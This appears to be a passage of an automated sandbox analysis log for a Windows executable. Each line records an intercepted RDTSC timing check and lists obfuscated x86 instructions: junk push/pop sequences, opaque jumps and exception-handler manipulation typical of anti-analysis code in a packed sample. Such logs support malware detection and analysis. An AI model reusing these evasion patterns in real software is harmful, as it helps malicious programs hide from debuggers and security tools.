Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0ABA5 second address: D0ABBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA440h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B3C4 second address: D0B3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B48A second address: D0B49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F47E55EA43Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B70E second address: D0B715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B715 second address: D0B721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B721 second address: D0B729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B799 second address: D0B79E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B79E second address: D0B7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 jns 00007F47E4F46FACh 0x0000000f pop eax 0x00000010 nop 0x00000011 jno 00007F47E4F46FB2h 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b pop eax 0x0000001c jmp 00007F47E4F46FAEh 0x00000021 popad 0x00000022 js 00007F47E4F46FACh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B7E3 second address: D0B7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 ja 00007F47E55EA436h 0x0000000e jo 00007F47E55EA436h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9012 second address: CC9018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C45E second address: D0C478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E55EA446h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9018 second address: CC905C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jbe 00007F47E4F46FA6h 0x0000000b jbe 00007F47E4F46FA6h 0x00000011 popad 0x00000012 jmp 00007F47E4F46FB5h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a jmp 00007F47E4F46FB0h 0x0000001f je 00007F47E4F46FAEh 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC905C second address: CC906C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F47E55EA43Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F5CE second address: D0F61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx esi, ax 0x0000000c add dword ptr [ebp+122D22A8h], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F47E4F46FA8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F47E4F46FB7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F61C second address: D0F643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA448h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F47E55EA436h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F643 second address: D0F649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F649 second address: D0F64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F3B1 second address: D0F3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F3B6 second address: D0F3BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F3BC second address: D0F3DB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F47E4F46FA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F47E4F46FAFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FEC2 second address: D0FEC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F3DB second address: D0F3DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10141 second address: D10147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10147 second address: D101E5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F47E4F46FA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007F47E4F46FC3h 0x00000011 ja 00007F47E4F46FBDh 0x00000017 nop 0x00000018 call 00007F47E4F46FB3h 0x0000001d mov dword ptr [ebp+12459261h], ecx 0x00000023 pop esi 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F47E4F46FA8h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 call 00007F47E4F46FB0h 0x00000045 pushad 0x00000046 mov ecx, 5A21C5D9h 0x0000004b movsx ecx, bx 0x0000004e popad 0x0000004f pop esi 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D1E65h], ecx 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c push esi 0x0000005d pop esi 0x0000005e jng 00007F47E4F46FA6h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D101E5 second address: D10208 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E55EA448h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14166 second address: D1416A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1416A second address: D14170 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14170 second address: D14176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14176 second address: D1417D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1417D second address: D14198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F47E4F46FAAh 0x0000000f push edx 0x00000010 pop edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F47E4F46FA6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14198 second address: D1419C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1419C second address: D141A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D163E1 second address: D163E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1655D second address: D16561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16561 second address: D16565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1819E second address: D181A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17454 second address: D174E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, 5F0F43A8h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F47E55EA438h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 mov edi, dword ptr [ebp+122D3A01h] 0x0000003d mov eax, dword ptr [ebp+122D046Dh] 0x00000043 push ecx 0x00000044 xor ebx, dword ptr [ebp+122D1E1Fh] 0x0000004a pop edi 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 call 00007F47E55EA438h 0x00000055 pop eax 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a add dword ptr [esp+04h], 00000016h 0x00000062 inc eax 0x00000063 push eax 0x00000064 ret 0x00000065 pop eax 0x00000066 ret 0x00000067 sub dword ptr [ebp+122D2052h], eax 0x0000006d jne 00007F47E55EA43Ah 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 jnp 00007F47E55EA43Ch 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16565 second address: D165AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D3805h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push edx 0x00000018 mov edi, dword ptr [ebp+122D230Eh] 0x0000001e pop ebx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov ebx, dword ptr [ebp+122D29D0h] 0x0000002c mov eax, dword ptr [ebp+122D0701h] 0x00000032 mov edi, dword ptr [ebp+124638A5h] 0x00000038 push FFFFFFFFh 0x0000003a mov ebx, dword ptr [ebp+122D36FDh] 0x00000040 nop 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D181A2 second address: D181BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D165AB second address: D165AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D165AF second address: D165B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D191B4 second address: D1920B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 and ebx, 0E76DD90h 0x0000000e pushad 0x0000000f mov ecx, 2F976346h 0x00000014 mov eax, dword ptr [ebp+122D3911h] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007F47E4F46FA8h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 mov bh, cl 0x00000039 push 00000000h 0x0000003b xor dword ptr [ebp+122D59EFh], ebx 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 jmp 00007F47E4F46FAEh 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18367 second address: D1836B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1836B second address: D1836F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1836F second address: D18381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F47E55EA436h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18381 second address: D18387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A22C second address: D1A238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A238 second address: D1A23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A3F0 second address: D1A470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F47E55EA436h 0x0000000a popad 0x0000000b pop esi 0x0000000c nop 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov edi, dword ptr [ebp+122D3801h] 0x0000001a mov dword ptr [ebp+122D2029h], ebx 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 cmc 0x00000028 mov eax, dword ptr [ebp+122D1531h] 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F47E55EA438h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 call 00007F47E55EA441h 0x0000004d pop ebx 0x0000004e push FFFFFFFFh 0x00000050 jbe 00007F47E55EA437h 0x00000056 clc 0x00000057 nop 0x00000058 jnp 00007F47E55EA451h 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F47E55EA43Fh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B3D3 second address: D1B3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A470 second address: D1A489 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F47E55EA436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007F47E55EA436h 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B3D7 second address: D1B3DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B3DB second address: D1B3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D247 second address: D1D24B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C41C second address: D1C4B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, dword ptr [ebp+122D3871h] 0x0000000f jnp 00007F47E55EA43Ch 0x00000015 push dword ptr fs:[00000000h] 0x0000001c or ebx, dword ptr [ebp+122D38D5h] 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F47E55EA438h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov ebx, eax 0x00000045 movzx ebx, si 0x00000048 mov eax, dword ptr [ebp+122D16DDh] 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007F47E55EA438h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 00000015h 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 mov ebx, dword ptr [ebp+122D3719h] 0x0000006e push FFFFFFFFh 0x00000070 mov bx, 98ABh 0x00000074 mov dword ptr [ebp+122D5A0Fh], ecx 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d je 00007F47E55EA43Ch 0x00000083 push eax 0x00000084 push edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B3E1 second address: D1B3E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C4B0 second address: D1C4B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D24B second address: D1D273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 or dword ptr [ebp+122D2D37h], edi 0x0000000e push 00000000h 0x00000010 mov edi, 3F2891F8h 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D293Ch] 0x0000001d xchg eax, esi 0x0000001e jbe 00007F47E4F46FB4h 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B3E6 second address: D1B442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2826h], edx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov bx, A48Ch 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 ja 00007F47E55EA43Ch 0x00000026 mov edi, dword ptr [ebp+122D226Ch] 0x0000002c mov eax, dword ptr [ebp+122D16D5h] 0x00000032 mov ebx, dword ptr [ebp+122D21EAh] 0x00000038 push FFFFFFFFh 0x0000003a jmp 00007F47E55EA447h 0x0000003f push eax 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C4B4 second address: D1C4BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F47E4F46FA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D273 second address: D1D277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C4BE second address: D1C4C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D277 second address: D1D284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E157 second address: D1E15B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D428 second address: D1D441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F47E55EA436h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D441 second address: D1D463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F47E4F46FA8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFC7B second address: CCFC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFC81 second address: CCFC85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFC85 second address: CCFC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFC8D second address: CCFCA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D216DA second address: D21735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 push ecx 0x00000008 sub dword ptr [ebp+122D2100h], edx 0x0000000e pop ebx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F47E55EA438h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b clc 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007F47E55EA438h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 adc ebx, 014B3395h 0x0000004e xchg eax, esi 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21735 second address: D21739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21739 second address: D2174B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b je 00007F47E55EA436h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2174B second address: D21751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2255C second address: D22573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA443h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22573 second address: D22584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22584 second address: D2258A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
